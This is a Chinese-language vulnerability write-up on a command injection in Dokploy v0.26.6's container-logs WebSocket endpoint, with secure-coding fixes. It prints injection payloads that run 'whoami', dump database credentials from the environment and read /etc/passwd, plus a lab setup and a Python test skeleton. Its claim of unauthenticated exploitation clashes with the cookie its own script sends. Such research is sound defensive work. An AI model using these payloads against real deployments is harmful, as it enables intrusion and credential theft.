Dokploy v0.26.6 命令注入漏洞挖掘记录
字数 932
更新时间 2026-02-06 03:12:23

Dokploy v0.26.6 命令注入漏洞挖掘与分析教学文档

1. 漏洞背景

Dokploy是一个基于Docker的部署管理平台。在v0.26.6版本中,虽然修复了之前版本的命令注入漏洞,但在其他端点仍存在安全缺陷。

2. 漏洞分析

2.1 上个版本的修复措施

2.1.1 输入验证函数

文件位置: apps/dokploy/server/wss/utils.ts

新增验证函数:

// 容器ID验证函数
export const isValidContainerId = (id: string): boolean => {
  const hexPattern = /^[a-f0-9]{12,64}$/i;  // 十六进制ID(12-64位)
  const namePattern = /^[a-zA-Z0-9][a-zA-Z0-9_.-]*$/;  // 容器名称模式
  return hexPattern.test(id) || (namePattern.test(id) && id.length <= 128);
};

// Shell类型验证函数
export const isValidShell = (shell: string): boolean => {
  const allowedShells = ["sh", "bash", "zsh", "ash", "/bin/sh", "/bin/bash", "/bin/zsh", "/bin/ash"];
  return allowedShells.includes(shell);
};

2.1.2 参数验证实现

文件位置: apps/dokploy/server/wss/docker-container-terminal.ts

// 在连接处理中添加验证
wssTerm.on("connection", async (ws, req) => {
  // 验证containerId
  if (!isValidContainerId(containerId)) {
    ws.close(4000, "Invalid container ID format");
    return;
  }
  
  // 验证shell类型
  if (activeWay && !isValidShell(activeWay)) {
    ws.close(4000, "Invalid shell specified");
    return;
  }
});

2.1.3 避免Shell解释的修复

本地场景修复:

// 修复前(存在漏洞)
const ptyProcess = spawn(shell, ["-c", `docker exec -it -w / ${containerId} ${activeWay}`], {});

// 修复后(安全)
const ptyProcess = spawn("docker", ["exec", "-it", "-w", "/", containerId, shell], {});

远程SSH场景修复:

// 修复后
const dockerCommand = ["docker", "exec", "-it", "-w", "/", containerId, shell].join(" ");
conn.exec(dockerCommand, { pty: true }, (err, stream) => { /* ... */ });

2.2 新漏洞发现

2.2.1 未修复的端点

文件位置: apps/dokploy/server/wss/docker-container-logs.ts

存在问题的代码:

wssTerm.on("connection", async (ws, req) => {
  const containerId = url.searchParams.get("containerId");
  const tail = url.searchParams.get("tail");
  const since = url.searchParams.get("since");
  
  // 缺少输入验证!
  if (!containerId) {
    ws.close(4000, "containerId no provided");
    return;
  }
  
  // 命令拼接存在漏洞
  const baseCommand = `docker ${runType === "swarm" ? "service" : "container"} logs --timestamps ${runType === "swarm" ? "--raw" : ""} --tail ${tail} ${since === "all" ? "" : `--since ${since}`} --follow ${containerId}`;
  
  // 使用shell执行命令
  const ptyProcess = spawn(shell, ["-c", command], {...});
});

3. 漏洞利用技术

3.1 攻击向量分析

漏洞存在于tailsince参数,这些参数没有经过验证直接拼接到命令中。

3.2 利用payload示例

3.2.1 通过tail参数注入

WebSocket URL: ws://target:3001/docker-container-logs?containerId=123&tail=10;whoami;#&since=1h

生成的命令:

docker container logs --timestamps --tail 10;whoami; # --since 1h --follow 123

3.2.2 通过since参数注入

WebSocket URL: ws://target:3001/docker-container-logs?containerId=123&tail=10&since=1h;whoami;#

生成的命令:

docker container logs --timestamps --tail 10 --since 1h;whoami; # --follow 123

3.3 实际攻击示例

3.3.1 获取环境变量

tail=10;env|grep DATABASE;#

结果: 泄露数据库连接信息

DATABASE_URL=postgresql://dokploy:dokploy123@postgres:5432/dokploy

3.3.2 执行系统命令

tail=10;cat /etc/passwd;#
since=1h;id;#

4. 漏洞验证方法

4.1 环境搭建

# docker-compose.yml
version: '3.8'
services:
  dokploy:
    image: dokploy/dokploy:v0.26.6
    ports:
      - "3001:3000"
    environment:
      DATABASE_URL: "postgresql://dokploy:dokploy123@postgres:5432/dokploy"
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock

4.2 测试脚本框架

import asyncio
import websockets
from urllib.parse import quote

async def test_vulnerability(target, cookie, payload):
    uri = f"ws://{target}/docker-container-logs?containerId=123&tail={quote(payload)}"
    try:
        async with websockets.connect(uri, additional_headers={"Cookie": cookie}) as ws:
            # 处理响应
            pass
    except Exception as e:
        print(f"Error: {e}")

5. 安全防护方案

5.1 输入验证完善

// 添加tail和since参数验证
export const isValidTail = (tail: string): boolean => {
  return /^\d+$/.test(tail) && parseInt(tail) <= 1000;
};

export const isValidSince = (since: string): boolean => {
  return /^(\d+[smh]|all)$/.test(since);
};

5.2 安全命令执行

// 使用参数数组而非字符串拼接
const args = [
  runType === "swarm" ? "service" : "container",
  "logs",
  "--timestamps",
  "--tail", tail,
  "--follow",
  containerId
];

if (runType === "swarm") {
  args.splice(2, 0, "--raw");
}

if (since !== "all") {
  args.push("--since", since);
}

const ptyProcess = spawn("docker", args, {});

6. 漏洞修复要点

  1. 全面参数验证: 所有用户输入参数都必须经过严格验证
  2. 避免Shell解释: 使用参数数组而非命令字符串
  3. 最小权限原则: 应用程序应以最小必要权限运行
  4. 输入白名单: 使用白名单而非黑名单进行输入验证
  5. 安全编码实践: 对所有外部输入保持不信任态度

7. 总结

本漏洞案例展示了即使修复了已知漏洞,也可能在其他端点存在类似问题。安全修复需要全面性,包括:

  • 对所有用户输入进行验证
  • 避免使用shell解释用户输入
  • 实施深度防御策略
  • 定期进行安全代码审查

该漏洞的CVSS评分可能达到高危级别(7.0-8.0),因为允许未经认证的远程代码执行,并可能完全控制受影响系统。

 全屏